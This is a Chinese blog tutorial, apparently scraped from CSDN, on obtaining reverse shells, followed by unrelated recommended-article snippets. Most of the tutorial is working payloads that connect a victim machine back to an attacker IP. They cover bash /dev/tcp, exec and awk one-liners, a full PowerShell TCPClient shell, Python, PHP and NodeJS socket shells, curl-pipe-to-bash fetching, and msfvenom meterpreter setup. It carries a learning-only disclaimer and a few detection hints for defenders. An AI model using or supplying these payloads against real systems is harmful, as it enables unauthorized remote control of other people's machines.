反弹Shell的方式和详解_powershell 反弹shell-程序员宅基地

技术标签: 反弹shell  shell  远程控制  bash反弹shell  cmd  # 内网安全  


在这里插入图片描述

声明:以下的反弹shell的介绍只适用于学习和授权情况下的操作,请勿用于非法环境!

一、介绍

1.1 含义

  反弹shell / 反向shell / 反弹壳 / 反弹外壳

  客户端连接服务端为正向连接(如:远程桌面、ssh等),反向连接弹shell(即反弹shell为攻击者为服务端,受害者主机为客户端主动连接攻击者的服务端)

1.2 目的

  • 对方主机在外网无法访问
  • 对方主机防火墙限制,只能发送请求,不能接收请求
  • 对方IP动态变化
  • 攻击了一台主机需要在自己的机器上交互式地执行目标机器中的cmd/bash命令
  • 遇到各种AV(AntiVirus,杀软)对正向的连接数据包检测,对出网的检测不严格

1.3 原理

让对方目标机器主动连接攻击者机器(攻击者指定服务端,受害者主机主动连接攻击者的服务端程序)

  1. 攻击者A开启19111端口TCP服务
  2. 受害者B连接19111端口TCP服务
  3. A、B建立TCP连接
  4. A通过TCP服务将待执行命令发送到B
  5. B执行命令后将结果发送给A

二、Linux反弹Shell

2.1 Bash 反弹shell

2.1.1 适用对象
  • 目标为Linux系统
2.1.2 操作方法

攻击者:192.168.123.192
受害者:192.168.159.129

攻击者nc监听端口:
在这里插入图片描述
受害者执行:
在这里插入图片描述
攻击者成功拿到一个cmd shell:
在这里插入图片描述

2.1.3 命令原理

大致介绍:

通过查看受害者运行的服务可知:在受害者本地开启了一个bash通过46944端口向远程地址192.168.123.192的19111端口走tcp协议
在这里插入图片描述

(漏洞特征!运维可以通过此标志检查主机是否沦陷,以及远控主机是谁!此方法经典但不隐蔽!!!)


命令阐述:

命令 含义
bash -i 产生一个交互式的bash shell
>& 将标准输入和标准错误输出重定向到文件(目的:为了不在受害者终端中显示执行的命令)
当>&后边接文件时,表示将表示将标准输入输出重定向到文件
当>&后边接文件描述符时,表示讲前面的文件描述符重定向到后边的文件描述符
/dev/tcp/<ip>/<port> 一个特殊的设备,打开了这个文件相当于发出了一个socket调用,建立一个socket连接
文件描述符 0 - stdin,代表标准输入
1 - stdout,代表标准输出
2 - stderr,代表标准错误输出
0>&1 将标准输入重定向到标准输出

举例分析:
分析1: 将受害者的交互式shell输出重定向到攻击机上,受害者执行命令,攻击者只能看到结果不能执行控制!

(开启交互式bash,输出重定向到远程)
在这里插入图片描述
(攻击者不能获得shell只能看到受害者输出的内容)
在这里插入图片描述

分析2: 使用输入重定向,将远程攻击者输入的当作命令执行(执行一次就断了)
在这里插入图片描述
分析3: 为了获取交互式的shell,需要使用文件描述符0>&1

将受害者的标准输入重定向到标准输出,即远程攻击者可以进行输出命令到受害者,因此可以反弹shell(缺点:受害者会显示执行的指令)
在这里插入图片描述
分析4: 使用>& / &>将标准输入和标准输出都重定向到文件即可完美使用bash反弹shell
在这里插入图片描述

2.2 Curl 反弹shell

2.2.1 适用对象
  • 目标为Linux系统
2.2.2 操作方法

攻击者:192.168.123.128(kali)
受害者:192.168.159.129

攻击者启动http服务,并在站点目录下存放一个文件,里面写着bash反弹shell命令(真实情况下需要VPS上部署HTTP服务,并建立如下文件)
在这里插入图片描述
受害者使用curl命令访问对方url,并重定向到bash
在这里插入图片描述
攻击者成功接到shell
在这里插入图片描述

2.2.3 命令原理

使用curl访问远程站点下文件,并使用管道符重定向到bash(间接地使用了bash一句话)
在这里插入图片描述
运维人员通过查看服务可以轻松发现主机已沦陷
在这里插入图片描述

2.3 Exec 反弹shell

2.3.1 适用对象
  • 目标系统为Linux系统
2.3.2 操作方法

攻击者:192.168.123.192
受害者:192.168.159.129

受害者执行

exec 5<>/dev/tcp/192.168.123.192/19111;cat <&5 | while read line; do $line 2>&5 >&5; done

成功接到shell
在这里插入图片描述

2.4 Awk 弹shell

2.4.1 适用对象
  • 目标系统为Linux系统
2.4.2 操作方法

攻击者:192.168.123.192
受害者:192.168.159.129

攻击者nc监听shell
受害者使用awk命令执行:

awk 'BEGIN {s = "/inet/tcp/0/192.168.123.192/19111"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

攻击者成功接到shell
在这里插入图片描述

2.4.3 长联优点

长联:客户端一直保持向服务端反弹shell的状态

正常的bash反弹shell服务端结束了shell(ctrl+c取消),shell客户端(受害者)也随之结束建立连接的命令,但是awk再次监听端口时仍旧能连接(也就是客户端一直保持连接状态除非手动在客户端结束,这样的好处是即使服务端断开连接不用在受害者主机中再次执行命令直接nc接shell即可)
在这里插入图片描述

三、Windows 反弹shell

3.1 powershell 反弹shell

3.1.1 适用对象
  • 目标系统为Windows系统
3.1.2 操作方法

攻击者nc监听shell端口
在这里插入图片描述
受害者执行

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.1.100',19111);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

攻击者成功获取到shell
在这里插入图片描述

四、不同语言 反弹shell

4.1 Python 反弹shell

4.1.1 适用对象
  • 目标系统需安装python(Linux / Windows)
4.1.2 操作方法

攻击者:192.168.123.128(kali)
受害者:192.168.159.129

攻击者已知目标服务器上存在python环境
在这里插入图片描述
攻击者启动http服务,并在站点目录下存放一个py文件,使用socket建连反弹shell(真实情况下需要VPS上部署HTTP服务,并建立如下文件)
在这里插入图片描述
(reverse_py_shell.py中代码如下:)

#!/usr/bin/python
#-*- coding: utf-8 -*-
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.159.128",19111)) #更改IP为自己的外网IP,端口自定义
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

攻击nc监听shell连接
在这里插入图片描述
受害者主机中执行
在这里插入图片描述
攻击者成功获取到shell
在这里插入图片描述

4.1.3 命令原理

受害者使用curl命令工具访问攻击者站点上的反弹shell的python脚本,并通过管道符调用python解析器执行

运维人员通过查看服务可以轻松发现主机已沦陷
在这里插入图片描述

4.2 PHP反弹shell

4.2.1 适用对象
  • 目标系统需安装PHP,如windows下的需要配置PHP环境变量(Linux / Windows)
4.2.2 操作方法

攻击者:192.168.159.128(kali)
受害者:192.168.159.128(在windows上实验反弹失败)

攻击者已知目标服务器上存在php环境
在这里插入图片描述
攻击者启动http服务,并在站点目录下存放一个txt文件,里面写着php反弹shell命令(真实情况下需要VPS上部署HTTP服务,并建立如下文件)
在这里插入图片描述
(PHP脚本内容如下:)

<?php
$sock=fsockopen("192.168.159.128",19111); // IP为自己的外网IP,端口自定义
exec("/bin/sh -i <&3 >&3 2>&3");
?>

攻击者nc监听shell
在这里插入图片描述
受害者执行如下命令
在这里插入图片描述
攻击者成功获得shell
在这里插入图片描述

4.2.3 命令原理

php使用socket进行shell反向连接

运维人员通过查看服务可以轻松发现主机已沦陷
在这里插入图片描述

4.3 NodeJS 反弹shell

4.3.1 适用对象
  • 目标系统需安装NodeJS,如windows下的需要配置PHP环境变量(Linux / Windows)
4.3.2 操作方法

攻击者:192.168.159.128(kali)
受害者:192.168.1.100

查看目标系统是是否安装了nodejs
在这里插入图片描述
攻击者启动HTTP服务,并将如下文件放入到站点根目录下
在这里插入图片描述

(function(){
    
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(19111, "192.168.1.100", function(){
    
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application form crashing
})();

攻击者nc监听shell
在这里插入图片描述
在受害者主机中使用curl命令行攻击加载远程目标地址的JS代码并执行
在这里插入图片描述
攻击者成功接到shell
在这里插入图片描述

同样,运维管理员可以查看到入侵的服务特征
在这里插入图片描述

五、MSF 反弹shell

5.1 Windows反弹shell(exe)

5.2 Winsows反弹shell(powershell)

攻击者执行:


通过shell查看对方操作系统位数:
systemctl(Windows)
uname -a(Linux)
在这里插入图片描述
msfvenom生成ps1格式的powershell脚本:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<当前监听者IP> LPORT=<监听者端口> -f psh-reflection > xxx.ps1

在这里插入图片描述
启动一个http服务(kali)
在这里插入图片描述
并将ps1文件移动到站点目录下
在这里插入图片描述
开启msf并进行端口监听配置
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.253.129
set lport 19111
exploit/run

受害者执行


通过站点下载ps1文件:
在这里插入图片描述
通过powershell执行该文件:如运行报错可以 更改当前powershell策略

Tips1:注意下方执行的是./ 反斜杠
Tips2:需要powershell改变当前执行策略

在这里插入图片描述
成功拿到shell
在这里插入图片描述

5.3 Linux反弹shell(elf)

六、其它 反弹shell

6.1 nc 反弹shell

6.1.1 适用对象
  • 目标系统安装netcat
6.1.2 操作方法

攻击者:192.168.159.128(kali)
受害者:192.168.1.100(Win)

攻击者客户端监听
在这里插入图片描述
受害者服务端执行(Windows)
在这里插入图片描述
受害者服务端执行(Linux)
在这里插入图片描述
攻击者成功收到shell
在这里插入图片描述

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/Aaron_Miller/article/details/106825087

智能推荐

StringBuffer 和 StringBuilder (Java)_stringbu er-程序员宅基地

文章浏览阅读128次。StringBufferStringBuilder_stringbu er

安装mongodb问题记录_cyrus-sasl is needed by mongodb-database-tools-100-程序员宅基地

文章浏览阅读322次。1,下载https://www.mongodb.com/try/download/community下载MongoDB Compass和MongoDB Community Server包安装2,报错1,此界面单击"Ignore"按钮,继续进行下面操作,2,进入C:\Program Files\MongoDB\Server\4.0\bin安装目录下,3,cmd执行mongod -dbpath D:\MongoDB\data\db 创建数据库文件的存放位置命令:4,然后在C盘安装bin目录下另_cyrus-sasl is needed by mongodb-database-tools-100.5.2-1.x86_64 cyrus-sasl-g

2021大唐杯5G大赛学习笔记-1_大唐杯物理层过程-程序员宅基地

文章浏览阅读1.5k次。PRACH(Physical Random Access Channel,物理随机接入信道),是UE一开始发起呼叫时的接入信道,UE接收到FPACH响应消息后,会根据Node B指示的信息在PRACH信道发送RRC Connection Request消息,进行RRC连接的建立。PUCCHPUCCH,Physical Uplink Control ..._大唐杯物理层过程

java map.get_Java Map get()用法及代码示例-程序员宅基地

文章浏览阅读6.2k次。Java中的Map接口的get()方法用于检索或获取由参数中提到的特定键映射的值。当映射不包含键的此类映射时,它将返回NULL。用法:thisMap.get(Object key_element)参数:该方法采用对象类型的一个参数key_element,表示应该获取其关联值的键。返回值:该方法返回与此Map集合中的key_element关联的值。以下程序说明了java.util.Map.get()..._map.get

【无标题】execute keadm command failed: timed out waiting for the condition-程序员宅基地

文章浏览阅读1.7k次。我在部署kubeedge1.11.1时发现无法处理这个问题,多次尝试重置k8s发现仍然存在无法部署的问题,这是因为在文件中没有添加主节点的污点容忍,用。在运行命令keadm init后此时已经部署了一个deployment在主节点上,只是没有成功启动。查看kubeedge在k8s的部署文件,查看yaml文件中是否添加了污点容忍,(也可以使用。命令是只允许cloudcore部署应用,不能使用(可能keadm同时``还部署了别的应用)重新查阅部署,注意在添加节点是去除污点是允许应用部署在master上,采用。_timed out waiting for the condition

我的Android进阶之旅------>/storage/sdcard0, /sdcard, /mnt/sdcard ,/storage/emulated/legacy 的区别_dev fuse sdcard0-程序员宅基地

文章浏览阅读3.5w次,点赞4次,收藏15次。转自:http://bbs.gfan.com/android-5382920-1-1.html关于android的4.2的0文件夹的详解---- android 4.0 ----在galaxy nexus(GN)手机上userdata分区很大,被挂在/data目录,用户的数据通常是放在sd卡上,然而gn是没有sd卡的,所以google想了一个办法,就是虚拟一个。所以,在us_dev fuse sdcard0

随便推点

使用node创建服务器成功但是页面打不开_node本地服务器打不开网页-程序员宅基地

文章浏览阅读3.5k次。命令行没有报错,服务器创建成功但是 localhost:3030 打不开页面注意!!!如果显示这样,那么就是创建服务器成功了,但是你没有接受返回值可以在app.on('request', async (req, res) => { res.end('123'); // 添加返回的结果 });或者是你在 localhost:3030/xx (xx路由里面接收的值)这样使用 localhost:3030/xx 也可以打开不要傻傻的一直在试localhost:3030然后想,_node本地服务器打不开网页

(01)JavaScript-初识JavaScript_是一门解释型编程语言,是一种基于原型编程、多范式的动态脚本语言,并且支持面向对-程序员宅基地

文章浏览阅读164次。(01)ECMAScript 6-初始JavaScript1. 什么是JavaScriptJavaScript ( JS ) 是一种具有函数优先的轻量级,解释型或即时编译型的编程语言。JavaScript 是一种基于原型编程、多范式的动态脚本语言,并且支持面向对象、命令式和声明式(如函数式编程)风格。运行环境浏览器nodejs2. JavaScript的组成部分2.1 ECMAScript(js标准)描述了该语言的语法和基本对象,兼容性100%。注释 单行// 、多行/**/_是一门解释型编程语言,是一种基于原型编程、多范式的动态脚本语言,并且支持面向对

10个最热门的大数据技术_大数据最前沿的技术有哪些-程序员宅基地

文章浏览阅读8.7k次,点赞7次,收藏37次。大数据已经融入到各行各业,哪些大数据技术是最受欢迎?哪些大数据技术潜力巨大?请听大讲台老师对10个最热门的大数据技术的介绍。_大数据最前沿的技术有哪些

读书APP的不二备胎,我选了网易蜗牛读书_一些在微信读书找不到的书籍去哪看-程序员宅基地

文章浏览阅读236次。刚赶走一个种田文又迎来一个争霸流蹦出一个霸道总裁我挥挥手还让不让好好读书啦网易蜗牛读书致力于为热爱阅读的用户提供沉浸、简洁的电子阅读体验,并希望与用户一起构建起立体化、全方位的移动阅读社区,满足不同阅读层次用户的个性化阅读需求。网易蜗牛读书APP官网网易蜗牛读书,只做优质出版书的在线阅读APP,主打每天“一小时免费阅读”,简直是电子书APP中的一亩桃花源。在快节奏的这个时代,网易蜗牛读书APP反潮流的只为那些注重阅读品质的人群服务,给人久违的慢悠悠阅读时光。只是1小时够不够用呢?我觉得80%的用户足够用了,_一些在微信读书找不到的书籍去哪看

Python2 判断两个中文字符是否相等_python中表格中的两个中文怎么判断是否相等-程序员宅基地

文章浏览阅读7.4k次,点赞2次,收藏16次。Python2 字符编码解码 encode/decode,编码类型转换;获取编码格式_python中表格中的两个中文怎么判断是否相等

stlinkv2红灯闪烁_ST-LINK V2 DIY笔记(一)-程序员宅基地

文章浏览阅读6.3k次。最近一段时间调试STM32板子的时候,都是用JLINK+杜邦线,或者拿官方板子当STLINK用,可以用,但是体积比较大,有时候觉得比较麻烦。正好前一阵手头项目少,就想DIY一个STLINK。图是网上找的,由于现在还没有验证完,暂时就不上图了。打了10块板子,最后收到好像是11块,110个小板,顺便学了一下怎么V-CUT出板子。10cm*10cm以内,一般都是特价板,80块包邮。电阻、电容的封装都是..._stlink 闪红绿

推荐文章

热门文章

相关标签